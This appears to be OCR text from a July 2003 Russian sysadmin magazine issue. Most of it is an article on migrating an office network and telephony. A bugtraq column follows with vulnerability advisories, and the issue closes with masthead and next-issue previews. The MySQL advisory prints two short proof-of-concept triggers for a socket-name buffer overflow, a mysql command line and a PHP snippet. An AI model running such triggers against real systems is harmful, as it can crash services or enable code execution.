10. и разбивается на 5 диапазонов. Первый диапазон – шеф и его замы. Могут видеть всех, заходить на любые ресурсы сети, кроме управления сетевым оборудованием. Во время работы в Интернете доступ к внутренним ресурсам заблокирован. Второй диапазон – сисадмины и программисты. Разрешен доступ до всего сетевого оборудования, в Интернет и к другим подсетям. Третий диапазон – бухгалтерия. Разрешен доступ только к бухгалтерскому серверу. Четвертый диапазон – секретарши, менеджеры и прочий офисный люд. Доступ в Интернет – только http через прокси, вырезающий баннеры и прочую мерзость. Пятый диапазон – интернетчики. Здесь сидят рекламщики и прочие люди, которым Интернет необходим для работы, сюда же попадают боссы, когда захотят воспользоваться Интернетом. А также заведен отдельный компьютер из бухгалтерии – бухгалтеры тоже люди и лишать их доступа к anekdot.ru плохо. Доступа из этой подсети в другие подсети нет. Все сервера, кроме бухгалтерского, располагаются в админской подсети. Все адреса выдаются DHCP-сервером согласно МАС-адресам сетевых карт компьютеров. В VIP-зонах МАС- и IPадреса прикреплены к портам соответствующего коммутатора. Доступ с этих портов другим адресам запрещен средствами ОС коммутатора. В других зонах неизвестным МАСадресам выдаются IP-адреса из зоны, которая заблокирована на роутерах. Таким образом, друг менеджера (партнер или еще кто), который принес свой ноутбук и включился в сеть, с очень большой вероятностью не сможет без помощи администратора воспользоваться ресурсами сети. Смену VIP-клиентам адреса при выходе в Интернет cделали просто. Им на десктоп ложится иконка, кликнув по которой, они поднимают VPN-соединение с «интернетовской» подсетью. Одновременно по факту поднятия VPN-соединения на коммутаторе поднимаются дополнительные правила, которые разрешают машине из VIP-зоны обмениваться пакетами только с VPN-сервером. На VPN-сервере стоят дополнительные правила, которые блокируют любые пакеты на опасные порты вроде 139-го и пакеты, используемые наиболее популярными атаками. В общем, дешево и сердито. Боссы пользуются Интернетом, а подростки, обчитавшиеся «Хакера», «пощупать» или достать их не смогут. Разрисовали на этажном плане ареалы подсетей, распределили VLAN по портам коммутаторов, мысленно все проверили несколько раз и повесили получившийся плакат на стенку для консультаций. Теперь пора обратить свои взгляды к телефонии. В старом здании была станция, которая могла обслужить 100 внутренних номеров и расширяться дальше не умела. А директору хотелось поставить каждому сотруднику по телефонному аппарату. Значит надо рисовать схему распределения телефонных номеров. Задача осложнялась тем, что не хотелось лишать сотрудников привычных им двухзначных телефонных номеров. Была устроена консультация с инженером фирмы, поставляющей АТС. И был создан новый телефонный план: двузначные номера и их привязка к сотрудникам остаются теми же. Новые четырехзначные номера формируются следующим образом: первая цифра номера обозначает принадлежность сотрудника к подразделению фирмы. Следующие три цифры обозначают «порядковый номер» сотрудника.


из личного опыта Например: Алексей Алексеевич имеет внутренний номер 34 и работает в бухгалтерии. После переезда на новое место ему можно будет позвонить, просто набрав 34 и подождав пару секунд. Однако у него появится и другой номер: 2034. При переходе, скажем, в юридический отдел, у него сменится номер на 1034. В итоге любому по номеру будет понятно, где работает человек и исчезает путаница с номерами при переводах. После некоторого размышления была рождена идея чуть подправить адресацию сети: привели IP-адрес сети к номеру телефона человека. К примеру, адрес 10.5.20.34 стал обозначать того же Алексея Алексеевича, находящегося в Интернете и имеющего телефон 2034. А 10.2.20.34 – его же, только занимающегося юридическими делами на благо фирмы. Как оказалось впоследствии, это очень удобно при разборке всяких сетевых конфликтов. С удаленным складом решили очень просто: местная фирмочка бросила туда выделенку. Мы поставили там младшую модель cisco в качестве роутера и брандмауэра. Зарубили на ней вообще все. Рядом взгромоздили VoIP-шлюз на 4 аналоговых порта. Через cisco подняли VPN в общую сеть. На стороне бизнес-центра стоял такой же VoIP-шлюз, только с портами, приспособленными для включения в АТС. Устанавливать плату VoIP прямо в АТС было не выгодно – слишком дорого. Все. Склад получил сеть и телефоны, включенные в общую сеть компании.

Этап четвертый «Ох, рано встает охрана …» Самый скучный. Программирование новой АТС и коммутаторов, проверка разводки (ползание под фальшпотолками и под новыми столами), накладка схемы сети на реальную разводку и корректировка всего этого дела. Затем проход еще раз по всей сети и очередная корректировка. Проверка электропитания и кондиционирования (путем включения в будущей серверной тепловой пушки) и так далее и тому подобное. По окончании этого этапа получилось следующее: Около каждого телефонного стола мы имели сиротливо ожидающую своего включения телефонную и компьютерную розетки. Каждая розетка была промаркирована. Маркировка совпадала с указанной на плане разводки. Одновременно была составлена таблица кроссировки и схематическая схема сети с указанием IP-адресов и отделов. Вздохнув, мы начали следующий этап.

Этап пятый «Мы едем, едем в далекие края …» Так как переезд сродни пожару, то решили запастись огнетушителями заранее. Расписали последовательность действий на уровне: Выключить сервер. Выключить блок бесперебойного питания. Собрать все шнуры в пакет. Завязать пакет и пометить цифрой «1». Аккуратно вынуть сервер и поставить тут (схематичное изображение соседней комнаты). Наклеить на сервере и UPS цифры «1». ….

№7(8), июль 2003

Наклейки изготовляли очень просто: печатали цифры на бумаге, вырезали и приклеивали под скотч. Такой расписанный по пунктам план очень помог при неразберихе, неизбежно возникающей при переезде. Когда ответственный за перевозку звонил и спрашивал: «А чего куда везти?» просто говорилось: «Идешь к нам, берешь листок и начинаешь танцевать с 8-го пункта». Теперь пользователи. На мгновение представьте себе 300 человек, которые обустраиваются, распаковываются и делают прочие необходимые телодвижения… Против них всего 3 человека. Страшно? Нам тоже было страшно. Поэтому составили маленькую инструкцию в духе: «Поздравляем, вы переехали на новое место работы. Пожалуйста, занимайте указанные вам на плане столы. Пожалуйста, не передвигайте мебель. Если вам не нравится ваше место, мы поможем изменить его, но только после окончания переезда…». В общем, памятка молодому бойцу, расписывающая схему номеров, порядок включения и так далее. В конце добавили пару угроз от имени директора, размножили все это и положили каждому на стол. Вздохнули и дали отмашку на переезд. В воскресенье перевезли серверы и настроили их. В понедельник вся фирма пришла в офис и начала собираться. Нам в помощь были выданы наиболее подкованные пользователи, которые следили за аккуратностью разборки машин и правильную упаковку их принадлежностей по пакетам. Вначале наша диспозиция была следующей: все трое находились на старом месте. Затем с первой партией cотруд-ников двое уехали в новый офис и распаковывались, а оставшийся «подчищал хвосты». Было тяжело, но вовремя расписанные планы помогли выдержать этот сумасшедший день. Как ни странно, но наиболее часто задаваемый вопрос: «А когда все заработает?» мы намеренно не включили в памятку. Ибо было дико приятно отвечать: «А все уже работает». И в самом деле, телефоны были теми же, программы показывали все то же самое, что и должны были показывать, в общем, люди включались в работу «с колес».

Этап шестой Последний Он двигался параллельно: происходили разборки с дамами, которые по своей извечной женской натуре начали переставлять мебель и столы. Надо было зафиксировать все перемещения, сделать изменения на схемах, в некоторых случаях изготовить новые патч-корды и так далее и тому подобное. Второй поток заключался в просмотре оставляемой территории. Было захвачено то, что забыли в суматохе. То, что решили оставить (провода, обзываемые сетью и коммутаторы от Lucent, старая АТС), отдали на растерзание в дирекцию. Если я не ошибаюсь, все это оптом купила фирма, которая въехала туда после нас. Неизвестный администратор, я очень тебе сочувствую… Ну и короткое резюме: системные администраторы получили по премии и повышению зарплаты за прекрасно проведенный переезд. Плюс в их распоряжении оказалась правильно сделанная и полностью документированная сеть. Они счастливы. А я… Я получил дополнительный опыт. Мне пока хватает.

93


bugtraq Удаленное переполнение буфера в базе данных MySQL

Неавторизованный доступ от имени других апплетов в Sun Java (JRE/SDK)

Переполнение буфера обнаружено в MySQL libmysqlclient. Удаленный или локальный пользователь может выполнить произвольный код или аварийно завершить работу приложения в зависимости от того, как приложение использует уязвимую библиотеку libmysqlclient. Переполнение буфера обнаружено в функции mysql_real_connect(). Имя Unix-сокета длиннее 300 символов приведет к переполнению буфера и возможному выполнению произвольного кода. Пример:

Уязвимость обнаружена в Sun’s Java Runtime Environment (JRE). Недоверяемый апплет может нарушить управление доступом Java. Sun сообщил, что недоверяемый апплет может получить доступ к информации от имени доверяемого апплета. Дополнительные подробности не раскрываются. Уязвимость обнаружена в Sun Java (JRE/SDK) 1.4.0_01. Sun выпустил заплаты, которые можно скачать отсюда: http://java.sun.com/j2se/ Windows Production Releases SDK and JRE 1.4.0_02 and later SDK and JRE 1.3.1_05 and later SDK and JRE 1.2.2_013 and later

mysql -S `perl -e 'print "A" x 350'` -hlocalhost

Степень воздействия этой уязвимости зависит от приложения, использующего уязвимую функцию. В некоторых приложениях удаленный или локальный пользователь может заставить приложение выполнять произвольный код. Эксплоит: <?php for ($i;$i<350;$i++) $buff .= "A"; ini_set("mysql.default_socket","$buff"); mysql_connect("localhost", "blabla", "blabla"); ?>

Уязвимость обнаружена в MySQL 4.х и более ранних версиях. В настоящее время способов устранения обнаруженной уязвимости не существует.

Просмотр некоторых паролей в Apple OS X Уязвимость обнаружена в операционной системе Apple OS X в команде dsimportexport. Локальный пользователь может просматривать некоторые пароли. Apple сообщает, что локальный пользователь может потенциально просматривать имя пользователя и пароль учетной записи, под которой запущена утилита dsimportexport. Уязвимость обнаружена в Apple Mac OS X 10.2. Apple выпустил патч (Security Update 2003-06-12), который можно скачать отсюда: http://www.info.apple.com/kbnum/n120215

Выполнение произвольных подключений через AdSubtract Уязвимость обнаружена в программе блокирования баннеров AdSubtract. Удаленный пользователь может выполнить произвольные подключения через приложение. Удаленный пользователь может обойти ограничения доступа, предназначенные ограничить доступ к 'localhost'интерфейсу. Если при выполнении обратного DNS-поиска IP-адрес преобразует к имени домена '127.0.0.1.[domain]' или другому имени, в котором содержится '127.0.0.1', то при выполнении обратного DNS-поиска на IP-адресе соединяющегося удаленного пользователя AdSubtract решит, что подключение происходит от 127.0.0.1 (localhost). Уязвимость обнаружена в AdSubtract 2.55. В настоящее время способов устранения обнаруженной уязвимости не существует.

94

Solaris Operating Environment (OE) Reference Releases

SDK and JRE 1.2.2_013 and later Solaris OE Production Releases

SDK and JRE 1.4.0_02 and later SDK and JRE 1.3.1_05 and later SDK and JRE 1.2.2_13 and later Linux Production Releases

SDK and JRE 1.4.0_02 and later SDK and JRE 1.3.1_05 and later

Раскрытие произвольных частей памяти в Ethernet-фреймах в некоторых драйверах сетевых карт в Microsoft Windows Server 2003 Уязвимость раскрытия информации обнаружена в Microsoft Windows Server 2003. Некоторые Microsoft-подписанные драйверы раскрывают информацию из памяти системы удаленному пользователю. NGSSoftware Insight Security Research предупреждает, что несколько Ethernet-драйверов, которые поставляются с Windows Server 2003, могут раскрыть информацию из памяти при заполнении Ethernet-фреймов в TCP-потоке. Несколько месяцев назад @stake сообщил, что некоторые Ethernet-драйверы могут раскрыть информацию от любой области физической памяти при заполнении ICMP-сообщений. Согласно NGSSoftware, подобная проблема существует в Windows Server 2003 в Ethernet-пакетах, которые содержат закрытую часть TCP FIN-ACK обмена. В сообщении указывается, что уязвимы несколько драйверов, поставляемых с Windows Server 2003 и сертифицированных Microsoft, включая драйвера для сетевой карты VIA Rhine II (интегрированной в некоторые материнские платы) и драйвера для AMD PCNet карт. Несколько байт информации, включая пароли и другую чувствительную информацию, могут быть включены в часть данных Ethernet-фреймов. Уязвимость обнаружена в Microsoft Windows Server 2003. В настоящее время способов устранения обнаруженной уязвимости не существует. Составил Александр Антипов


подписка

Альтернативная подписка: ООО «Интер-Почта» по тел. (095) 500-00-60 Курьерская доставка по Москве Открыта редакционная подписка на II полугодие 2003 г. Информация на сайте www.samag.ru в разделе «Подписка» 81655

Единый подписной индекс:

81655 по каталогу агентства «Роспечать»

81655

Рады видеть Вас нашими читателями!

№7(8), июль 2003

95


СИСТЕМНЫЙ АДМИНИСТРАТОР №7(8), Июль, 2003 год РЕДАКЦИЯ Исполнительный директор Владимир Положевец Ответственный секретарь Наталья Хвостова sekretar@samag.ru Технический редактор Владимир Лукин РЕКЛАМНАЯ СЛУЖБА тел.: (095) 928-8253 (доб. 112) факс: (095) 928-8253 Константин Меделян reсlama@samag.ru Верстка и оформление imposer@samag.ru maker_up@samag.ru Дизайн обложки Николай Петрочук 103012, г. Москва, Ветошный переулок, дом 13/15 тел.: (095) 928-8253 (доб. 112) факс: (095) 928-8253 Е-mail: info@samag.ru Internet: www.samag.ru РУКОВОДИТЕЛЬ ПРОЕКТА Петр Положевец УЧРЕДИТЕЛИ Владимир Положевец Александр Михалев ИЗДАТЕЛЬ ЗАО «Издательский дом «Учительская газета» Отпечатано типографией ООО «Мастер Печати» Тираж 5500 экз. Журнал зарегистрирован в Министерстве РФ по делам печати, телерадиовещания и средств массовых коммуникаций (свидетельство ПИ № 77-12542 от 24 апреля 2002г.) За содержание статьи ответственность несет автор. За содержание рекламного обьявления ответственность несет рекламодатель. Все права на опубликованные материалы защищены. Редакция оставляет за собой право изменять содержание следующих номеров.

96

ЧИТАЙТЕ В СЛЕДУЮЩЕМ НОМЕРЕ: OpenBSD. Первые шаги

Протокол V.90

Продолжим наше знакомство с OpenBSD. Мы остановились на успешной установке системы и предложением перезагрузиться, что, собственно говоря, и выполняем. Итак, первая загрузка системы уже по традиции для BSD-систем выполняется на синем фоне, и вы можете видеть, как ядро системы опрашивает все устройства, которые находит. Отлично, ядро загрузилось, дальше пошел init системы (процесс, который запускает все остальные процессы системы). Мы видим, как поднимается сетевой интерфейс (в моем случае le1), добавляется маршрут по умолчанию (в большинстве случаев надо прописать его в /etc/mygate, я расскажу об этом файле при конфигурировании сети), запускаются демоны sendmail inetd и sshd. Торжественный момент... Волшебная дверь в систему, которая тщательно выбирает себе друзей, но если вы станете ее другом – она сделает все для вас. Твердо и уверенно вводим root, затем пароль, который мы указывали при инсталляции.

В этой статье мы поговорим об особенностях протокола V.90. Сам протокол не очень новый и уже давно применяется многими пользователями и провайдерами. Однако в процессе эксплуатации у пользователей по тем или иным причинам возникают разные проблемы, понять суть которых мы сможем, рассмотрев принципы работы самого протокола V.90.

Плохое электропитание, или «Грабли» с UPS К сожалению, отечественные сети электропитания не обеспечивают достаточную стабильность подаваемого напряжения. Напряжение может изменяться по значению и пропадать на время от нескольких миллисекунд до нескольких часов без предварительного предупреждения. Данная нестабильность в электропитании есть следствие особенностей российского законодательства. В идеале проблемы и последствия сбоев электропитания должны решать юристы. Однако мы живём далеко не в идеальной стране, полной исключений. Все знают, что «русский сервис ненавязчив», и за разумные деньги выбирать особо не приходится. Данная статья показывает довольно дешёвый вариант решения проблемы электропитания.

Построение переносимого shell-кода для Windows-систем Всё чаще и чаще обсуждаются аспекты атак на Windows-системы. Основные возможности атак на семейство данных систем были уже рассмотрены, но не стоит забывать о том, что при построении атаки на переполнение буфера в большинстве случаев атакующий сталкивается с построением shell-кода.

Мониторинг Windows-серверов с помощью Nagios Часть 2 Первая часть этой статьи рассказывала об одной из нескольких методик настройки Nagios для слежения за серверами под управлением семейства операционных систем Windows. Для достижения наших целей на контролируемую машину устанавливалась программа NSClient, а данные собирались с помощью модуля check_nt. В этой части мы изучим второй способ мониторинга. Для получения необходимых данных мы будем использовать SNMP (Simple Network Management Protocol). На данный момент SNMP является самым популярным протоколом управления и мониторинга сетей. Первоначально он разрабатывался для работы с маршрутизаторами, но постепенно стал использоваться и во многих других устройствах.


Turn static files into dynamic content formats.

Create a flipbook
Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.